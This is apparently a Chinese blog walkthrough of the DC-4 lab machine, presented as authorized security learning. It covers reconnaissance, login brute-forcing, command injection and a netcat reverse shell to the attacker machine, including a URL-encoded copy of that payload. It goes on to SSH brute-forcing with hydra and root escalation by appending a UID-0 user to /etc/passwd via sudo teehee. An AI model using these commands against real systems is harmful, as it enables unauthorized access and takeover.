靶机渗透-DC4

原创

Ming\_Yang
Ming\_Yang

SecureCoder

2026年6月8日 17:10
日本

在小说阅读器读本章

去阅读

免责声明：未经授权的渗透测试属于违法行为，本文攻击目标均为官方授权的靶机环境，仅供安全学习与交流。

前言

DC 系列靶机是一套专为渗透测试与网络安全实验设计的虚拟机环境，涵盖了操作系统漏洞、Web 应用安全、无线网络安全等多个主题。每一台靶机都提供了一个独立的攻击场景，让安全从业者能够在合法环境中磨炼技能、测试工具。无论你是刚入门的新手，还是经验丰富的老师傅，DC 系列都能带来不小的收获。

一、环境准备

• • DC-4 下载方式：文末获取
• • 网络要求：两台主机须处于同一局域网，虚拟机的网络适配器设置需保持一致（统一使用 NAT 或桥接模式）。
• • 目标：找到 flag。

二、渗透实战

1. 攻击思路

渗透测试不是盲目地敲命令，而是有章可循的：

信息收集 → 漏洞发现 → 漏洞利用（SQL 注入、文件上传、框架漏洞、SSH 爆破等）→ 反弹 Shell → 权限提升

下面我们按照这个思路，一步步拿下 DC-4。

2. 渗透过程

2.1 信息收集

首先使用 netdiscover 通过 ARP 扫描发现局域网内的存活主机：

netdiscover -r 192.168.9.0/24

成功定位到靶机 IP：192.168.9.131。接着用 nmap 进行端口扫描，获取更详细的信息：

nmap -sT -O 192.168.9.131

扫描结果显示靶机开放了 80 端口（HTTP） 和 22 端口（SSH）。既然有 Web 服务，先打开浏览器看看：

是一个登录页面。接下来做目录扫描和指纹识别，看看有没有隐藏的线索：

dirsearch -u http://192.168.9.131

目录扫描没有发现其他有价值的页面。再用 whatweb 看看网站用了什么框架：

whatweb http://192.168.9.131/

2.2 漏洞发现

指纹识别没有匹配到已知框架，那就上 Burp Suite 抓包看看：

发现了 POST 请求中的用户名和密码参数，这里可以尝试暴力破解。拿出珍藏的字典，开始爆破：

成功跑出凭据，登录进去看看：

用户名：admin
密码：happy

登录后的页面有一个命令执行入口，经验告诉我们这很大概率是任意命令执行漏洞。抓个包验证一下：

果然如此！接下来就是\"老三样\"——抓、改、放，利用这个漏洞反弹 Shell：

# 攻击机（Kali）
nc -lvp 9999

# 靶机上执行
nc -e /bin/bash 192.168.9.128 9999

第一次上传没有成功连接，可能是 Burp Suite 传参时某些字符没有被正确解析。我们改用 URL 编码再试一次：

%6e%63%20%2d%65%20%2f%62%69%6e%2f%62%61%73%68%20%31%39%32%2e%31%36%38%2e%39%2e%31%32%38%20%39%39%39%39%20

这次成功了！接着用 Python 把 Shell 升级为交互式 TTY：

python -c 'import pty;pty.spawn(\"/bin/bash\")'

交互式 Shell 到手，接下来就是提权环节。

2.3 权限提升

先确认当前身份：

whoami
id

权限太低，需要四处翻找线索。在 /home 目录下发现了三个用户，其中 jim 的目录里有些有意思的东西：

cd /home
ls
cd jim
ls
cat test.sh
cd backups
ls
cat old-passwords.bak

找到了一份旧密码备份文件，先保存下来：

vim password.bak

前面 nmap 扫描时发现靶机开放了 22 端口的 SSH 服务，结合这份密码字典，可以尝试对 jim 用户进行 SSH 爆破：

hydra -l jim -P password.bak -t 32 ssh://192.168.9.131:22

成功爆破，使用新凭据通过 SSH 登录：

用户名：jim
密码：jibril04

whoami
id
sudo -l

jim 用户同样没有高权限，但系统提示 jim 有一封信件。一般来说，邮件存放在 /var/mail 目录下：

cd /var/mail
cat jim

邮件里赫然写着 charles 用户的密码——把密码直接写在邮件里发送，还真是个\"模范员工\"。

用户名：charles
密码：^xHhA&hvim0y

切换到 charles 账户，继续探查权限：

su charles
ls
id
whoami
sudo -l

发现 charles 拥有 teehee 命令的免密 sudo 权限。查一下这个命令是干什么的：

简单来说，teehee 可以向文件末尾追加内容。如果有 sudo 权限配合，就能用来提权——向 /etc/passwd 追加一个自定义的 root 用户即可。（关于此提权方式的原理，可参考我的文章：Linux软件安装&账户权限[二]）

说干就干：

sudo teehee -a /etc/passwd
demo::0:0:::/bin/bash

查看 /etc/passwd，发现 demo 用户已成功添加，UID 和 GID 都是 0（即 root 权限）。直接切过去：

su demo
id
whoami

已经是 root 了！

最后一步，全局搜索 flag 并读取：

find / -name *flag.*
cat /root/flag.txt

在 root 目录下成功找到了 flag 文件！

三、总结

回顾整个 DC-4 的攻破过程，可以分为以下几步：

1. 1. 信息收集：通过 ARP 扫描发现主机，nmap 端口扫描识别服务，目录爆破与指纹识别探查 Web 应用。
2. 2. 漏洞发现：Burp Suite 抓包发现登录参数，暴力破解获取后台凭证；登录后确认任意命令执行漏洞。
3. 3. 漏洞利用：利用命令执行反弹 Shell，通过 URL 编码绕过传输问题，Python 升级为交互式 TTY。
4. 4. 权限提升：从 jim 用户的旧密码文件入手 → SSH 爆破 → charles 邮件泄露密码 → 利用 teehee 命令的 sudo 权限向 /etc/passwd 写入 root 用户 → 最终拿到 flag。

整个攻击链环环相扣，每一步的信息都对下一步至关重要——渗透测试的魅力，也正在于此。

请在微信客户端打开

靶机获取

关注下方公众号，后台回复关键词 「20260608」 即可获取 DC-4靶机资源。